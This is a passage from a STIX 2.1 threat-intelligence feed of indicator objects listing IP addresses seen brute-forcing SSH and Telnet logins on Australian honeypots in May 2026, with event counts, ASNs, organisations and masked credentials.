      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 8334. Organisation(s): Joint-stock Company teleport Telecom.",
      "id": "indicator--bd6dbd62-c579-4152-9b6c-777537bdd39b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.188.119.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--39ec8d04-a812-4cd8-b884-449a08829322",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.90.215.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--3642bddd-cecd-4a4b-9060-4963481d8aea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '52.186.182.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): u***1, 3**********4, c******r, d*******r, p****r. Passwords observed (masked): 3***********4, 3**********4, A******#, P******d, c******r.",
      "id": "indicator--2ac32364-923f-4896-8ad9-060f87b7e62a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.98.148.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited. Usernames observed (masked): r**t. Passwords observed (masked): k*****i.",
      "id": "indicator--6fdaf4d8-41e7-445a-82f0-a66c516a4575",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '136.232.11.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T23:15:10.000Z",
      "valid_until": "2026-06-22T23:15:08.000Z"
    },
    {
      "created": "2026-05-21T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28294. Organisation(s): GIGA MAIS FIBRA TELECOMUNICACOES S.A..",
      "id": "indicator--e2de35cf-efea-4632-915c-e91e40267a01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.204.208.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T23:15:10.000Z",
      "valid_until": "2026-06-22T23:15:08.000Z"
    },
    {
      "created": "2026-05-21T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 11290. Organisation(s): Cogeco Connexion inc. Usernames observed (masked): s***t. Passwords observed (masked): s***t.",
      "id": "indicator--ca6d3504-315d-4e87-905a-c91a235c0d32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '140.106.25.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T23:15:10.000Z",
      "valid_until": "2026-06-22T23:15:08.000Z"
    },
    {
      "created": "2026-05-21T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): c***a. Passwords observed (masked): c***a.",
      "id": "indicator--b3eec0f1-45bf-41ce-aba1-62e0b57509bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.230.184.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T23:15:10.000Z",
      "valid_until": "2026-06-22T23:15:08.000Z"
    },
    {
      "created": "2026-05-21T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): t***1, r**t, 3**********4, c****e, **. Passwords observed (masked): 1****3, 3***********4, 3**********4, C*********!, Q*****2.",
      "id": "indicator--7c5ce1ed-a4f6-4ab2-b5c1-d9419e936958",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.144.36.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T23:15:10.000Z",
      "valid_until": "2026-06-22T23:15:08.000Z"
    },
    {
      "created": "2026-05-21T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--50546919-1f75-4299-a006-95cad5e25193",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.83.143.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T23:15:10.000Z",
      "valid_until": "2026-06-22T23:15:08.000Z"
    },
    {
      "created": "2026-05-21T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263594. Organisation(s): MAXXITEL INFORMATICA E TELECOM LTDA.",
      "id": "indicator--3644e423-b142-4fc9-b1df-a118d2b03bed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.136.168.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T23:15:10.000Z",
      "valid_until": "2026-06-22T23:15:08.000Z"
    },
    {
      "created": "2026-05-21T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26615. Organisation(s): TIM SA.",
      "id": "indicator--3a357074-cc18-412a-8d55-9bdff931a0a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.250.253.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T23:15:10.000Z",
      "valid_until": "2026-06-22T23:15:08.000Z"
    },
    {
      "created": "2026-05-21T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): ***. Passwords observed (masked): 3*******i.",
      "id": "indicator--b339805a-70c6-4f51-9945-8123914770d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T23:15:10.000Z",
      "valid_until": "2026-06-22T23:15:08.000Z"
    },
    {
      "created": "2026-05-21T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36925. Organisation(s): ASMedi.",
      "id": "indicator--be04d494-c840-4640-b417-c4db23e1250a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.127.126.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T23:15:10.000Z",
      "valid_until": "2026-06-22T23:15:08.000Z"
    },
    {
      "created": "2026-05-21T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215439. Organisation(s): Play2go International Limited. Usernames observed (masked): r**t, ***, 3**********4, t**t. Passwords observed (masked): 1****6, 3***********4, 3**********4, A*******!, T********6.",
      "id": "indicator--9ab87dfa-6543-4baa-a294-c92e45c40d24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.27.20.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T23:15:10.000Z",
      "valid_until": "2026-06-22T23:15:08.000Z"
    },
    {
      "created": "2026-05-21T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--02909835-b602-48ac-bd39-12f933d73225",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.169.104.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T23:15:10.000Z",
      "valid_until": "2026-06-22T23:15:08.000Z"
    },
    {
      "created": "2026-05-21T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 271283. Organisation(s): GNS POA.",
      "id": "indicator--3532791c-d954-4665-b9d3-07714c5b92af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.36.221.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T23:15:10.000Z",
      "valid_until": "2026-06-22T23:15:08.000Z"
    },
    {
      "created": "2026-05-21T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--47289d23-f5fd-4328-b6ba-a1baa23ebe02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T23:15:10.000Z",
      "valid_until": "2026-06-22T23:15:08.000Z"
    },
    {
      "created": "2026-05-21T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 268663. Organisation(s): R G DE SOUSA LTDA. Usernames observed (masked): r**t. Passwords observed (masked): E******3.",
      "id": "indicator--c8bf100c-5459-47ae-a725-874f10e83309",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.165.14.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T23:15:10.000Z",
      "valid_until": "2026-06-22T23:15:08.000Z"
    },
    {
      "created": "2026-05-21T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1******8, a******3, p*******1, r*****3, r******4.",
      "id": "indicator--cb2d886f-0623-4a61-b638-7e77c254cb7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.220.58.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T23:15:10.000Z",
      "valid_until": "2026-06-22T23:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 328856. Organisation(s): VIJIJI-CONNECT-LIMITED.",
      "id": "indicator--90c1fb44-1fb5-4493-9ea8-5e72e7529f70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.219.208.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137172. Organisation(s): ALL CONNECT NETWORK SERVICES PRIVATE LIMITED.",
      "id": "indicator--a5c5fd95-0797-45a0-bb83-78aed81aabc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.112.214.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 38513. Organisation(s): PT Aplikanusa Lintasarta. Usernames observed (masked): o****e. Passwords observed (masked): P**********3.",
      "id": "indicator--50e4ade6-0aeb-4740-927c-e41147cbd113",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.125.103.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 9123. Organisation(s): Jsc timeweb. Usernames observed (masked): r**t, t******r, 3**********4, g***t, ***. Passwords observed (masked): ***, 1**4, 1****6, 3***********4, 3**********4.",
      "id": "indicator--53b55e9f-1464-475a-8e48-5b6a9db7dee3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.73.201.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--cbb9d902-bd1b-4830-a7c8-c32df1e66064",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.225.133.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--83569610-841f-467b-8cd0-939b46f0da60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.28.218.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System.",
      "id": "indicator--1fe0367b-21c8-48be-85fe-dd625ea96db4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.125.131.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): T**r.",
      "id": "indicator--3cecddf3-ea1c-4da7-9d68-2131b5c95804",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.7.10.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 47236. Organisation(s): CityLink Ltd.",
      "id": "indicator--1930e89a-96c0-4f0b-8331-9504a139829a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.97.98.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--250160d4-faef-4f5d-9ff7-12d74bf20ff2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.112.48.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--d3449c6e-6521-417c-be18-b4756228b4bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.246.14.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 355. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 11664. Organisation(s): Techtel LMDS Comunicaciones Interactivas S.A.. Usernames observed (masked): 3**********4, r**t, c***a, p****l, v******r. Passwords observed (masked): 3***********4, 3**********4, 1****6, A******3, E******3.",
      "id": "indicator--9c0e09b5-f395-45d8-a816-4fae86aaf639",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.13.24.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EC. ASN(s): 14522. Organisation(s): SERVICIOS DE TELECOMUNICACIONES SETEL S.A. XTRIM EC. Usernames observed (masked): w**k. Passwords observed (masked): ***.",
      "id": "indicator--526fae89-04a0-4e66-9f66-c6dcda641131",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.68.83.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 264628. Organisation(s): CORPORACION FIBEX TELECOM, C.A..",
      "id": "indicator--cd4e66f6-3a9b-44c3-86f7-3cb0ba003fdb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.120.252.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 984. Organisation(s): OCTOPUS WEB SOLUTION INC. Usernames observed (masked): ***. Passwords observed (masked): 1***5.",
      "id": "indicator--03307ba6-4a7c-4f96-87bf-f0efd2d34d9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
